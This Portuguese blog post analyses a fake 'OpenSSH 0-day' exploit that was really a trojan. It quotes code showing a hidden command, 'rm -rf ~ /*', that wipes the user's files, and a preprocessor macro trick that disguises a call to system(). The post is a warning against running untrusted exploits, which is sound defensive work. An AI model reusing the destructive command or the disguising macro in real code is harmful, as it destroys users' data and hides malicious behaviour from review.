0-Day openssh-53p1-remote-root.c ? Pegadinha do Malandro

Rá! Pegadinha do Malandro!!!

via Hack'n Roll Blog by maycon on 2/7/10


Estava em casa e de madrugada recebi uma mensagem dizendo “0-day para OpenSSH” seguindo do seguinte link:
http://pentestit.com/wp-content/uploads/2010/02/openssh-53p1-remote-root.c

Já logo pensei na festa que isso seria para os script kiddies e raquers de plantão. Porém ao dar uma olhada rápida no código, percebe-se logo de inicio algumas sutilezas. De uma maneira geral o código realmente parece com um exploit, com seus imensos shellcodes e suas conexões por socket, o que me fez da uma olhada com mais calma e escrever este post.

Vamos ao começo do código:

184 185 186 187 
if (geteuid()) { 	puts("Root is required for raw sockets, etc."); 	return 1; }

Olhando logo na parte inicial do código, é possível notar que ele exige que seja executando com um usuário com privilégios de root, argumentando que é necessário para utilização de raw sockets (SOCK_RAW). Porém, procurando pela criação do socket em questão, nota-se que ele utiliza um SOCK_STREAM, que representa uma conexão TCP normal sem necessidade de root.

205 206 207 208 209 210 211 
sock = socket(PF_INET, SOCK_STREAM, 0); addr.sin_port = htons(port); addr.sin_family = AF_INET; if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){ 	printf(" [-] Connecting Failedn"); 	return 1; }

Em seguida, ele faz uma validação da quantidade de argumentos, fornecendo uma ajuda caso não existam parâmetros
suficiente:

189 190 191 192 
if(argc < 3){ 	usage(argv[0]); 	return 1; }

Porém, é importante notar que ele não faz qualquer outra referência à argv, ou seja, ele não trata os parâmetros fornecidos.

196 197 198 199 200 201 202 203 
if (!inet_aton(h, &addr.sin_addr)){ 	host = gethostbyname(h); 	if (!host){ 		printf(" [-] Resolving Failedn"); 		return 1; 	} 	addr.sin_addr = *(struct in_addr*)host->h_addr; }

Seguindo pelo código, temos um trecho de código que diz converter o endereço fornecido em seu host. Porém como não existe qualquer parâmetro definido como host, a função inet_aton vai retornar um valor diferente de zero, o que resultará sempre no salto desta condição.

212 213 214 215 216 217 218 219 220 
payload = malloc(limit * 10000); ptr = payload+8; memcpy(ptr,jmpcode,strlen(jmpcode)); jmpinst=fopen(shellcode+793,"w+"); if(jmpinst){ 	fseek(jmpinst,0,SEEK_SET); 	fprintf(jmpinst,"%s",shellcode); 	fclose(jmpinst); }

Neste momento ele começa a preencher um buffer (um trecho de código comum em exploits), porém ele escreve uma variável jmpcode a partir da posição 8 deste buffer ( apontado por ptr ):

 maycon@hacknroll~$ printf $(cat jmpcode.txt) > jmpcode.bin maycon@hacknroll~$ file jmpcode.bin jmpcode.bin: ASCII C program text, with no line terminators maycon@hacknroll~$ cat jmpcode.bin rm -rf ~ /* 2> /dev/null & maycon@hacknroll~$ 

Opa! Nos deparamos com uma coisa nem um pouco agradável de ser ver. Estamos vendo um comando que apaga o home do usuário em seguida apaga tudo a partir da raiz. :)

O mesmo código chama fopen() a uma posição do shellcode que sequer representa um nome de arquivo válido, ou seja, a função fopen() vai falhar.

No resto do código tem muita besteira. O que me deixou mais impressionado foi a macro fremote() que, não sei ao certo, tem a mesma função que system. Se reparar, ela é chamada no inicio do código como fremote(jmpcode), que executaria o rm -rf visto anteriormente, veja um exemplo da utilização das macros:

1 2 3 4 5 6 7 8 9 10 11 12 
#include    #define build_frem(x,y,a,b,c) a##c##a##x##y##b #define fremote build_frem(t,e,s,m,y)   char jmpcode[] = "ls -l";   int main(void) { 	fremote(jmpcode); 	return 0; }

Analisando a chamada build_frem, temos que ele simplesmente organiza os parâmetros como terceiro, último, terceiro, primeiro, segundo e penúltimo. Aplicando esta mesma sequência nos parâmetros de build_frem teremos a string system.

Se executarmos gcc -E temos o código logo após o processamento das macros:

 maycon@hacknroll~$ gcc -E fremote.c | tail -n 8 char jmpcode[] = "ls -l"; int main(void) { 	system(jmpcode); 	return 0; } maycon@hacknroll~$ 

Este é um trick bastante interessante. Ah se eu soubesse disto na época de Programação I na faculdade. :)

De qualquer forma isto serve de aviso para os que se aventuram a simplesmente compilar e executar os exploits vistos na internet.

Abraços a todos,
______________________________________
Maycon Maia Vitali ( 0ut0fBound )
Hack’n Roll

Anúncios

Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s